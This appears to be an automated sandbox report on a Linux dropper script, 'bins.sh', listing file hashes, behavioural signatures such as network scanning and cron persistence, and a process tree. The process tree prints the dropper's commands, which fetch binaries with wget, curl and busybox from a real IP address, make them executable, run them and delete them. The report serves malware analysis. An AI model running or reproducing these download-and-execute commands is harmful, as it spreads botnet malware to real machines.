Analysis
-
max time kernel
149s -
max time network
151s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240729-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
05-11-2024 00:17
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
fe55ec7a9c108baee34e5028d3c61501
-
SHA1
d8562e2cd5ac2b22c50957fe20b097f823b606c5
-
SHA256
43dedff8578cec7e507ea89b05dbf354465c223f4acfbf5e5f9ec924aaab3778
-
SHA512
be865b5d30e3f7babfe7ccd76bbfb176735d9af836c85b7a2c310c53eea50432ceec104d8dd1265df82566f3140c83259958d630c4691f62d6e7962bf0abbd2a
-
SSDEEP
192:Oq/UtnXhFEQu38yuay8Qz3FnXhFEQKuay8QzPl/e:O9tnXnEQu38ycnXnEQ6R
Malware Config
Signatures
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Contacts a large (1968) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodchmodpid Process 741 chmod 749 chmod 786 chmod 898 chmod -
Executes dropped EXE 4 IoCs
Processes:
sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7XdvXTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxBMjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvgaioc pid Process /tmp/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6 742 sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6 /tmp/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv 751 zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv /tmp/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB 788 XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB /tmp/MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga 899 MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga -
Renames itself 1 IoCs
Processes:
XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxBpid Process 789 XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc Process File opened for modification /var/spool/cron/crontabs/tmp.pmMFzI crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
Processes:
XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxBdescription ioc Process File opened for reading /proc/850/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/866/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/887/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/949/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/836/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/890/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/941/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/12/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/76/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/810/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/828/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/699/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/956/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/963/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/1006/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/864/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/930/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/1032/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/832/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/1025/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/1065/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/334/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/365/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/908/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/1005/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/1016/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/172/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/878/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/982/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/1012/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/882/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/888/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/976/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/123/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/686/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/707/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/840/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/1009/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/17/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/846/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/961/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/977/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/110/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/825/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/879/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/1017/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/16/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/718/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/861/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/965/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/970/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/1014/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/1023/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/77/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/705/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/857/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/905/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/1049/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/247/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/807/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/891/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/943/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/232/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB File opened for reading /proc/862/cmdline XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB -
Writes file to tmp directory 10 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgetbusyboxcurlbusyboxwgetbusyboxwgetcurlcurlbusyboxdescription ioc Process File opened for modification /tmp/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB wget File opened for modification /tmp/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB busybox File opened for modification /tmp/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6 curl File opened for modification /tmp/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6 busybox File opened for modification /tmp/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv wget File opened for modification /tmp/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv busybox File opened for modification /tmp/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6 wget File opened for modification /tmp/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv curl File opened for modification /tmp/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB curl File opened for modification /tmp/MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga busybox
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:707
-
/bin/rm/bin/rm bins.sh2⤵PID:714
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY62⤵
- Writes file to tmp directory
PID:716
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY62⤵
- Writes file to tmp directory
PID:738
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY62⤵
- Writes file to tmp directory
PID:740
-
-
/bin/chmodchmod 777 sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY62⤵
- File and Directory Permissions Modification
PID:741
-
-
/tmp/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6./sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY62⤵
- Executes dropped EXE
PID:742
-
-
/bin/rmrm sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY62⤵PID:744
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv2⤵
- Writes file to tmp directory
PID:745
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv2⤵
- Writes file to tmp directory
PID:746
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv2⤵
- Writes file to tmp directory
PID:747
-
-
/bin/chmodchmod 777 zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv2⤵
- File and Directory Permissions Modification
PID:749
-
-
/tmp/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv./zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv2⤵
- Executes dropped EXE
PID:751
-
-
/bin/rmrm zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv2⤵PID:753
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB2⤵
- Writes file to tmp directory
PID:755
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB2⤵
- Writes file to tmp directory
PID:767
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB2⤵
- Writes file to tmp directory
PID:780
-
-
/bin/chmodchmod 777 XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB2⤵
- File and Directory Permissions Modification
PID:786
-
-
/tmp/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB./XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:788 -
/bin/shsh -c "crontab -l"3⤵PID:790
-
/usr/bin/crontabcrontab -l4⤵PID:791
-
-
-
/bin/shsh -c "crontab -"3⤵PID:793
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:794
-
-
-
-
/bin/rmrm XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB2⤵PID:807
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga2⤵PID:810
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga2⤵PID:811
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga2⤵
- Writes file to tmp directory
PID:813
-
-
/bin/chmodchmod 777 MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga2⤵
- File and Directory Permissions Modification
PID:898
-
-
/tmp/MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga./MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga2⤵
- Executes dropped EXE
PID:899
-
-
/bin/rmrm MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga2⤵PID:901
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/TGZVPthKPk2URap86KcG8IC5ua8ThuC3t02⤵PID:902
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
111KB
MD5701e7a55a4f3650f5feee92a9860e5fc
SHA16ce4a7f0dc80fe557a0ace4de25e6305af221ed4
SHA256ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
SHA5127352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11
-
Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
-
Filesize
122KB
MD5cd3d4b9c643e5b473fb4d88ed05f0716
SHA164ee7a97418583d759eaea8000890cc3bae1b5f4
SHA2560cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
SHA512164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
-
Filesize
177KB
MD5786d75a158fe731feca3880f436082c0
SHA179ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA2565fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
SHA5127984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
-
Filesize
210B
MD577be5047c0e52b6970439a54b4b6c563
SHA15cdd350340d7b13d11d7f69fd4af8214ef5c0fab
SHA256e14b59d1c3dc4d93194adb510bdf247f17b5a9c47e948743da1b25242136d016
SHA5122e00bf27259b45018194c920d05220e64824e116813baa97a0b8a43303579b43cf5aae99f1e24e40e4be327b25af5982a95ca575caf3abdd0800b327df5d45ae